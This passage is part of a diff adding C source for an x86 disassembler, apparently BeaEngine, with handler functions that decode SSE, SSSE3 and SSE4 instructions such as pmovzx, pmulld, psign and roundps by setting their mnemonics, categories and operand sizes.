GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovsxwq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 31 + * ==================================================================== */ +void __bea_callspec__ pmovzxbd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxbd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 32 + * ==================================================================== */ +void __bea_callspec__ pmovzxbq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxbq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 30 + * ==================================================================== */ +void __bea_callspec__ pmovzxbw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxbw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 35 + * ==================================================================== */ +void __bea_callspec__ pmovzxdq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxdq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 33 + * ==================================================================== */ +void __bea_callspec__ pmovzxwd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxwd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 34 + * ==================================================================== */ +void __bea_callspec__ pmovzxwq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+CONVERSION_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmovzxwq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 28 + * ==================================================================== */ +void __bea_callspec__ pmuldq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmuldq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 40 + * ==================================================================== */ +void __bea_callspec__ pmulld_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulld "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 38 0b + * ==================================================================== */ +void __bea_callspec__ pmulhrsw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhrsw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhrsw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f e4 + * ==================================================================== */ +void __bea_callspec__ pmulhuw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhuw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhuw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f f4 + * ==================================================================== */ +void __bea_callspec__ pmuludq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmuludq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmuludq "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ======================================= + * 0x 0f b8 + * ======================================= */ +void __bea_callspec__ popcnt_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE42_INSTRUCTION+DATA_TRANSFER; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "popcnt "); + #endif + GvEv(pMyDisasm); + FillFlags(pMyDisasm,114); +} + + +/* ==================================================================== + * 0x 0f f6 + * ==================================================================== */ +void __bea_callspec__ psadbw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+SIMD64bits; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psadbw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psadbw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 00 + * ==================================================================== */ +void __bea_callspec__ pshufb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+SHUFFLE_UNPACK; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 70 + * ==================================================================== */ +void __bea_callspec__ pshufw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SIMD128bits; + /* ========= 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufhw "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + /* ========= 0xf2 */ + else if (GV.PrefRepne == 1) { + (*pMyDisasm).Prefix.RepnePrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshuflw "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + + /* ========== 0x66 */ + else if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufd "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pshufw "); + #endif + GV.ImmediatSize = 8; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } +} + +/* ==================================================================== + * 0x 0f 38 08 + * ==================================================================== */ +void __bea_callspec__ psignb_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+PACKED_SIGN; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignb "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+PACKED_SIGN; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 0a + * ==================================================================== */ +void __bea_callspec__ psignd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+PACKED_SIGN; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignd "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+PACKED_SIGN; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignd "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 09 + * ==================================================================== */ +void __bea_callspec__ psignw_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+PACKED_SIGN; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSSE3_INSTRUCTION+PACKED_SIGN; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psignw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f fb + * ==================================================================== */ +void __bea_callspec__ psubq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SIMD128bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SIMD128bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubq "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 38 17 + * ==================================================================== */ +void __bea_callspec__ ptest_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+PACKED_TEST; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ptest "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } + +} + +/* ==================================================================== + * 0x 0f 6c + * ==================================================================== */ +void __bea_callspec__ punpcklqdq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SIMD128bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklqdq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } + +} + +/* ==================================================================== + * 0x 0f 6d + * ==================================================================== */ +void __bea_callspec__ punpckhqdq_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION+SIMD128bits; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhqdq "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + FailDecode(pMyDisasm); + } + +} + + +/* ==================================================================== + * 0x 0f 53 + * ==================================================================== */ +void __bea_callspec__ rcpps_(PDISASM pMyDisasm) +{ + /* ========== 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcpss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rcpps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f 3a 09 + * ==================================================================== */ +void __bea_callspec__ roundpd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+ROUND_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundpd "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 3a 08 + * ==================================================================== */ +void __bea_callspec__ roundps_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+ROUND_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundps "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 3a 0b + * ==================================================================== */ +void __bea_callspec__ roundsd_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+ROUND_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundsd "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 3a 0a + * ==================================================================== */ +void __bea_callspec__ roundss_(PDISASM pMyDisasm) +{ + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE41_INSTRUCTION+ROUND_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "roundss "); + #endif + GV.ImmediatSize = 8; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + GV.EIP_++; + if (!Security(0, pMyDisasm)) return; + GV.third_arg = 1; + (*pMyDisasm).Instruction.Immediat = *((UInt8*)(UIntPtr) (GV.EIP_- 1)); + #ifndef BEA_LIGHT_DISASSEMBLY + (void) CopyFormattedNumber(pMyDisasm, (char*) (*pMyDisasm).Argument3.ArgMnemonic, "%.2X",(Int64) *((UInt8*)(UIntPtr) (GV.EIP_- 1))); + #endif + (*pMyDisasm).Argument3.ArgType = CONSTANT_TYPE+ABSOLUTE_; + (*pMyDisasm).Argument3.ArgSize = 8; + + } + else { + FailDecode(pMyDisasm); + } +} + + +/* ==================================================================== + * 0x 0f 52 + * ==================================================================== */ +void __bea_callspec__ rsqrtps_(PDISASM pMyDisasm) +{ + /* ========== 0xf3 */ + if (GV.PrefRepe == 1) { + (*pMyDisasm).Prefix.RepPrefix = MandatoryPrefix; + GV.MemDecoration = Arg2dword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rsqrtss "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = SSE_INSTRUCTION+ARITHMETIC_INSTRUCTION; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rsqrtps "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } +} + + +/* ==================================================================== + * 0x 0f c6 + * ==================================================================== */ +void __bea_callspec__ shufps_(PDISASM pMyDisasm) +{ + + /* ========== 0x66 */ + GV.ImmediatSize = 8; + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + (*pMyDisasm).Instruction.Category = 